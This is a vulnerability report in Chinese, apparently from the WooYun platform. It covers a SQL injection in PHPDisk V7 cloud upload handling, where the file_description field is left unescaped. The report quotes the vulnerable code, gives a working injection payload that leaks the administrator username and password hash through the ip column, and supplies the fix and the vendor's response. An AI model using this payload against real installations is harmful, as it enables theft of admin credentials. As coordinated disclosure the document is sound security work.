漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:phpdisk V7 注入一枚(直接出数据)。
提交时间:2014-06-05 14:59
修复时间:2014-09-03 15:00
公开时间:2014-09-03 15:00
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情 披露状态:
2014-06-05: 细节已通知厂商并且等待厂商处理中 2014-06-05: 厂商已经确认,细节仅向厂商公开 2014-06-08: 细节向第三方安全合作伙伴开放 2014-07-30: 细节向核心白帽子及相关领域专家公开 2014-08-09: 细节向普通白帽子公开 2014-08-19: 细节向实习白帽子公开 2014-09-03: 细节向公众公开
简要描述: PHPDisk网盘系统 v7.0 20140529更新: 修正网盘云上传无法显示文件 部分主机无法使用系统验证码 端午放假,躁起来。
详细说明: WooYun: phpdisk V7 sql注入2 在爆了这个洞之后 看看phpdisk怎么修复的。
$file = unserialize(base64_decode($data)); /*foreach($file as $k=>$v){ $file[$k] = $db->escape($file[$v]); }*/ //没搞懂这里为什么要注释掉 如果不注释掉还不会出现这问题。 $file[file_id] = (int)$file[file_id]; $file[file_size] = (int)$file[file_size]; $file[file_extension] = $db->escape(trim($file[file_extension])); $file[file_name] = $db->escape(trim($file[file_name])); $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"); if($num && $file[file_id]){ $tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : ''; $msg = $file[file_name].$tmp_ext; }else{ $report_status =0; $report_arr = explode(',',$settings['report_word']); if(count($report_arr)){ foreach($report_arr as $value){ if (strpos($file['file_name'],$value) !== false){ $report_status = 2; } } } $ins = array( 'yun_fid' => $file[file_id], 'file_name' => $file[file_name], 'file_key' => $file_key, 'file_extension' => $file[file_extension], 'file_mime' => 'application/octet-stream', 'file_description' => $file[file_description], 'file_size' => $file['file_size'], 'file_time' => $timestamp, 'is_checked' => $is_checked, 'in_share' => $in_share, 'report_status' => $report_status, 'userid' => $pd_uid, 'folder_id' => $folder_id ? $folder_id : -1, 'ip' => $onlineip, ); $sql = "insert into {$tpf}files set ".$db->sql_array($ins).";";
file_id 被intval
$file[file_extension] = $db->escape(trim($file[file_extension])); $file[file_name] = $db->escape(trim($file[file_name]));
这两个都被escape处理 看看
function escape($s){ if(function_exists('mysql_real_escape_string')){ return htmlspecialchars(mysql_real_escape_string($s, $this->_l)); } return htmlspecialchars(addslashes($s)); }
就是转义了。 $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"); 这个由于file_id 被intval 所以无法利用了。 但是下面还有一个insert
$ins = array( 'yun_fid' => $file[file_id],//这个intval 'file_name' => $file[file_name],//这个escape 'file_key' => $file_key,//不可控 'file_extension' => $file[file_extension],//被escape 'file_mime' => 'application/octet-stream', 'file_description' => $file[file_description],// 关键是这个 这个并没有escape。 所以可以来注入了。 'file_size' => $file['file_size'], 'file_time' => $timestamp, 'is_checked' => $is_checked, 'in_share' => $in_share, 'report_status' => $report_status, 'userid' => $pd_uid, 'folder_id' => $folder_id ? $folder_id : -1, 'ip' => $onlineip, ); $sql = "insert into {$tpf}files set ".$db->sql_array($ins).";";
漏洞证明: 首先对我们的语句序列化一次, 然后再base64一次。
可以看到file_extension 被转义 file_description 成功引入单引号。 再构造一下语句。 在这里执行语句为 insert into pd_files set `yun_fid`='0', `file_name`='', `file_key`='9n7LI0n4', `file_extension`='test', `file_mime`='application/octet-stream', `file_description`='a', `file_size`='0', `file_time`='1401453912', `is_checked`='1', `in_share`='0', `report_status`='0', `userid`='2', `folder_id`='-1', `ip`='127.0.0.1' 在这里 当去下载这个文件的时候 会透漏出file_name 和ip 但是file_name 在file_description之前 如果再次去覆盖这个 会提示ERROR 1110 (42000): Column 'file_description' specified twice 只能出现一次。 那我们就能来弄ip 在测试的时候发现ip 在显示的时候 如果让ip为root之类的 是显示不出来的 但是root.1.1.1 这样的就能显示得出来。 所以在这里用concat函数 来连接一个小数点就行了。 构造一下语句。 a',`ip`=concat((select username from pd_users limit 0,1),'.1.1.1'),`is_checked`=1,`in_share`=1# 然后序列化 再encode。
成功拿到管理的账户。 密码同理。
修复方案: $file[file_description] = $db->escape(trim($file[file_description]));
版权声明:转载请注明来源 ′雨。 @乌云
漏洞回应 厂商回应: 危害等级:低
漏洞Rank:1
确认时间:2014-06-05 15:03
厂商回复: 6月4日的版本修正过了,感谢积极反馈
最新状态: 暂无